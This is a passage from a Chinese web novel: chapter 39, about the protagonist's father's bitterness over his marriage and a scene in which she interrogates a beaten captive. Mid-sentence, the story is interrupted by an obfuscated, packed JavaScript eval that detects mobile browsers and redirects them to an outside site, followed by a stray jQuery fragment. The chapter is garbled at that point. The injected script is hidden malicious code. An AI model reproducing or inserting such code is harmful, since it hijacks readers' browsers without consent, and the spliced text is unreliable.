39.亢金龙的父亲

作品:《逃出大山后去上女子高中

    亢金龙与季小真回到了亢运昌的家里,看见母父二人正坐在沙发上。


    “金龙回来了?”


    “我先上楼了。”


    “好好休息。“


    简单的客套后,亢金龙上了楼梯,在季小真的眼皮子底下回了房间。


    才怪。


    季小真一回房间,她就打开了房门,打算从侧面的楼梯下去,绕到厨房从后门花园出去,却听见客厅的声音传至二楼。


    “今天在画室里,牠们又来了。”


    亢运昌忙活了一整天,她正坐在沙发上闭目养神,听见这句话,也只是皱着眉头,没有回应。


    “我理解你很忙,但你可以回应我一句话吗?女儿现在也回来了,我们也该认真地活下去了,我不想每次都被困在过去,你说不想生第二个,妈妈就让你抱了个外男回来,女儿当时走了,所有人都让你向前看,你说只想找回金龙,现在金龙回来了,一切都该回归正轨了。”


    亢运昌长叹了一口气,她揉捏着眉心:“你作为我的丈夫,理应学会怎么处理好跟媒体之间的关系。”


    “我知道,我一直都知道。”牠手肘撑在大腿上,“但你应该也理解一下我,我回来还要做家务,你也不愿意请阿姨,每天要洗衣、做饭、洗碗、晾衣服、甚至还要一个人打扫三层的别墅,修理庭院里的花枝和杂草,你说你喜欢蝴蝶兰,随便就买了种子回来让我种,但是你知道它有多么容易烂根吗?偏偏还喜欢潮湿的环境……我之前说过,金龙既然回来了,不如搬到高档公寓里去住,面积也小,更好打扫。”


    亢运昌匪夷所思,她揉捏眉心的动作一停:“你的意思是责怪我了,你也知道妈妈不喜欢请人帮忙做这些事,你作为我的丈夫不就应该做好这些分内之事吗?衣服都有洗衣机,你只是晾晒一下有什么不得了的?我们统共也就四个人,也不要求你作出什么美味佳肴,碗碟什么的,就洗四个人的很难吗?偶尔会有人作客,也只是多四个人的碗而已,菜分量做多点不也差不多了,反正目的不在于吃而是谈话,洗四个碗也是洗,八个碗不也是洗?空间小了怎么请客?亢付,你是忘记了当初我为什么选择你吗?”


    亢付一顿,半响说不出话来。


    牠想起来很久以前,亢运昌对仍然是穷小男的牠伸出援手,向牠甩了一张合同:“我只需要你听话。”


    至此以后,牠就过上了人人艳羡的生活。


    以往牠只是一个被所有人都忽视的穷小男,拼尽了全力才考上了海城的大学。


    读的专业也并不是美术类,但牠从小到大都偏爱画画,一直以来都没有放弃这项爱好,偶尔还会去隔壁美院蹭课。


    想象着自己是这里的学生,拥有牠们身上的气质,什么气质?牠也说不上来。


    好像这里的学生总有一种让牠觉得格格不入的特质,每当牠以为自己已经靠着谎言与其打成一片时,各类巨大的消费落差又即将击溃牠的自尊。


    牠憎恶贫困,也厌恶无法给牠提供助力的母父,每次伸手要钱时总是有种抬不起头的感觉,但看见母父鬓边的白发却又是止不住地心疼牠们。


    后来,在亢运昌的资助下,牠甚至可以花钱开办展会。


    牠多少是有些傲气的,牠的画几次都被评选得奖,可后来牠才知晓这些评奖原来都是暗中操作,早已内定好了,看着牠是亢家赘夫的名头才给牠的。


    这让牠多少抬不起头,每次听见别人的溢美之词,牠就想起那些暗中操作,觉得自己德不配位,好像每一个人扭曲着的嘴脸都在嘲笑牠德不配位。


    记者并不关心牠的画,只在乎牠的家庭,总是喜欢阴阳怪气地嘲讽牠,让牠颇为应激,却还不得不保持笑容。


    牠们总说有多么羡慕自己,可是牠们知道牠为了维持这样的生活有多么不容易吗?牠失去的是尊严、自由、甚至是做男人的权利。


    每次看见与牠聚会的男同学能对牠的配偶吆喝来吆喝去时,牠的心里就多少不是滋味,牠产生了一种恨意。


    ——这种恨意当然不是对男同学的,而是对这位配偶与亢运昌的。


    牠觉得这样温柔的配偶为什么不能是亢运昌?


    牠看见这样的配偶,就好像想起了自己,于是连同着这个触发牠伤痛机制的男同学的配偶也一起恨起来。


    却对男同学产生了半忮愱、半佩服的心理,这才是男人该过的日子,若不是牠没有本钱,早该过上这样舒舒服服的日子了。


    有时候牠也会想,是不是当初不选择答应亢运昌,就能过上普通男人能过上的皇帝日子了?


    但很快牠就打消了这个念头,源于牠坐在汽车里,看见街道上吵架的配偶时,那样粗鄙又丢脸地像禽兽一般纠缠着打在一起,不该是牠这样开着画室的体面男人该活的日子。


    而且牠喜欢漂亮,喜欢化粧品,喜欢留长发,喜欢时尚的衣物,搞艺术的哪个不爱美呢?这些化粧品若是以前,牠可是一分也花不起的,多亏牠成为了亢运昌的配偶。


    索性,在这个时代,男人不论做什么事情都是很容易就能被大众所接纳的。


    当留长发的男人有一定数量后,一部分人竟改变了其风评,说牠们敢于追求时尚。


    而且,牠在这个圈子里,能自由做一个爱美的男人,若是还活在以往的小镇里,牠断然是不敢这么标新立异的。


    现在母父也不敢说牠,只是一个劲夸牠长发好看,还让牠要多多打扮,只要能笼络住亢运昌这棵摇钱树,后半辈子就不愁了。


    牠听着很不舒服,什么时候还需要牠以身体和脸蛋去笼络配偶了?外面的男人哪个配得上跟牠比较?牠的心灵非常高贵,不是那些庸俗男人可以比拟的。


    可是嘴里吐出来的话却是:“放心吧,好着呢,她很爱我,还夸我这样很有艺术分子的风范,带出去很有面子。”


    “我可听说城里的有钱人玩得很花呀,特别喜欢养那些小三的,你可得小心着点,你岁数也不小了……”


    牠越听越烦躁,前几天确实是注意到自己皱纹连粉底都遮不住了,而且平日里走路也越发力不从心,扫地拖地时腰部总是隐隐作痛,炒菜洗碗时也得弯着腰,牠常常感到自己整个人都快要垮掉了。


    甚至连头发都变少了,牠整日里诚惶诚恐,买了一大堆保健品,甚至是能治疗脱发的,全都买了一大堆,也不管用,男人就是老得快。


    更何况亢运昌自从生完亢金龙后,就跟牠分床睡觉了,牠有时候也怀疑亢运昌是不是到外面找了别的野男人,对此疑神疑鬼,却又不敢表露出来。


    “妈,爸!你对男儿就这么没有自信吗?亢运昌不是那样的人,而且我这么有魅力,那些死小三哪能比得过我!都说男人五十也是一枝花,我好着呢!”牠颇有些咬牙切齿。


    “你再一枝花,也不如外面那野花香呐,人家十八岁小鲜肉,你哪里比得过去。”


    “……妈爸,我都说了不要再说了!”


    现在牠过得愈发蒸蒸日上,在周围人的吹捧里也有些心比天高,真认为自己有几分才气了,那些评奖或许也跟牠身份无关,单纯是牠正好是亢家赘夫,又画得好才被评上的。


    赘夫这个身份能让牠被评委看见,但是被评上也得益于牠自己画得好,没错,就是这样。


    别人都说牠是千里马,而亢运昌则是牠的伯乐。


    牠虽然每回都在别人面前保持假笑,但心里多少很不服气。


    什么叫千里马?


    永远都是被人驱逐,被人用鞭子甩着跑的命,牠干嘛要做这种畜生,跑得最快有什么用,只是为了被伯乐赏识吗?


    赏识了又有什么用?还不是要在伯乐面前继续当千里马。


    每当记者问道:“男士,您作为女人身后的男人,有什么想法呢?”


    牠总是要强行忍住内心里窜起的躁意,脸上微微扬起一个和蔼又温柔的笑:“我不认为自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102524|161684||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己是女人身后的男人,我觉得自己是她身旁的男人。”


    思绪回到现在,牠看着身旁一直在闭目养神的女人,还是忍不住提出了自己的意见。


    虽然心里一团火,但是火经过喉咙就像是凭空蒸发了一样,又变得柔声柔气地:“如今金龙也回来了,你就不能不再参与那些寻找失踪妇女的活动了吗?把嫦娥的公益停了吧,媒体三天两头往我这里跑,那些丢了小孩的母亲也老喜欢到我这里来哭诉,这样她也好蹭上镜头。”


    “而且妈妈那边也不希望你一直掺和这些事吧?你就不能跟妈妈说说,让金龙重新进公司吗?”


    亢运昌啧了一声,她扭过头又叹了一口气:“你以为还是六年前吗?现在有多不好做……我拼尽全力才守住那一丁点属于我的资产,亢归鹤不愿意争,但她的女儿可不是个省油的灯,算了,跟你说了你也不懂。”


    “再说了,妈妈从不反对,我做这件事又不是搞慈善,我是为了找回自己的女儿,现在找回来了,正好可以借用这件事拉拢一下民心,自己成为公益本身,让别人为你的生平故事买单,这样的效果可比干砸钱好多了。”


    等到客厅里没有声音了,亢金龙才站在楼梯上往下望去,发现沙发上空无一人。


    她悄无声息地溜出别墅,穿着一身显眼的红色衣物,骑着电动车想要前往城郊一处荒废的厂区。


    她察觉到有人跟踪她,于是七拐八绕,最终进了人多的商场。


    等她从拥挤的人群里出来时,已经换了一身上了年纪的老人们会穿的花色大衣。


    从背影上看去,确实与老太太们别无二致。


    而从商场里走出来的胡新汶穿着与亢金龙一模一样的红色的衣服,她用余光往后瞥向不远处跟随着她的二人,则是忽然穿进胡同口子里拔腿就跑。


    身后的人紧追着胡新汶。


    另一边。


    嘴上贴着胶布的王瘸子正惊恐地看着她。


    如今牠两条腿都无法支撑牠直立行走,只能坐在原地毫无反击能力。


    浑身上下几乎全是血,脸上也看不见一块好肉。


    亢金龙从口袋里取出索尼数字录音笔。


    滋滋滋。


    录音笔开始播放了。


    “亢小姐,好久不见,我与先生都在这里恭迎您的到来。”


    “叫我女士。”


    “亢女士,真不好意思。”


    ——王瘸子的眼神微微颤动,在听见男助理的声音时,呜呜叫唤。


    亢金龙甚至还播放了亢百臻、陈彪、钱多多、钱恒生的录音,但是只有在最开始时,牠的反应最大。


    她凑近,王瘸子挪着屁股下意识就要往别处跑。


    亢金龙不耐烦地一把扯过牠的衣领,将牠整个人从渗水导致发黄的水泥墙壁上拽了过来。


    在牠剧烈的挣扎之下,两个保镖将其按住。


    她大力撕下牠嘴上的胶布,胶布的粘性缠着牠的肉在这样的力道下急遽脱离,只觉得如断骨之痛,牠像是粘在其中的老鼠,只能流泪。


    亢金龙当即面无表情地扇了牠一巴掌,“这个男助理是谁。”


    王瘸子还是哭。


    “你不说就让保镖继续收拾你吧。”亢金龙作势要站起身。


    王瘸子闭着眼痛哭流涕,牠牙齿里也全是血味,刚刚只是缓不过神来而已。


    牠又不是什么守信之人,现在只有一个本能,就是顺着她的意思去做,就能少挨打,牠赶紧回复:“我说,我说。”


    “牠,牠就是当年,给我下任务的男人,就是我跟你说的那个先生……”


    亢金龙双手抱肘,她看向废墟外飘扬的泡沫。


    头顶的直升飞机在嗡嗡作响,昏暗和逼仄的环境让她感到不适,不仅如此,潮湿的味道更是让她又想咳嗽。


    这一切都告诉她,她的身体想逃离这里。


    可她却仍然如钉子般扎在原地不动。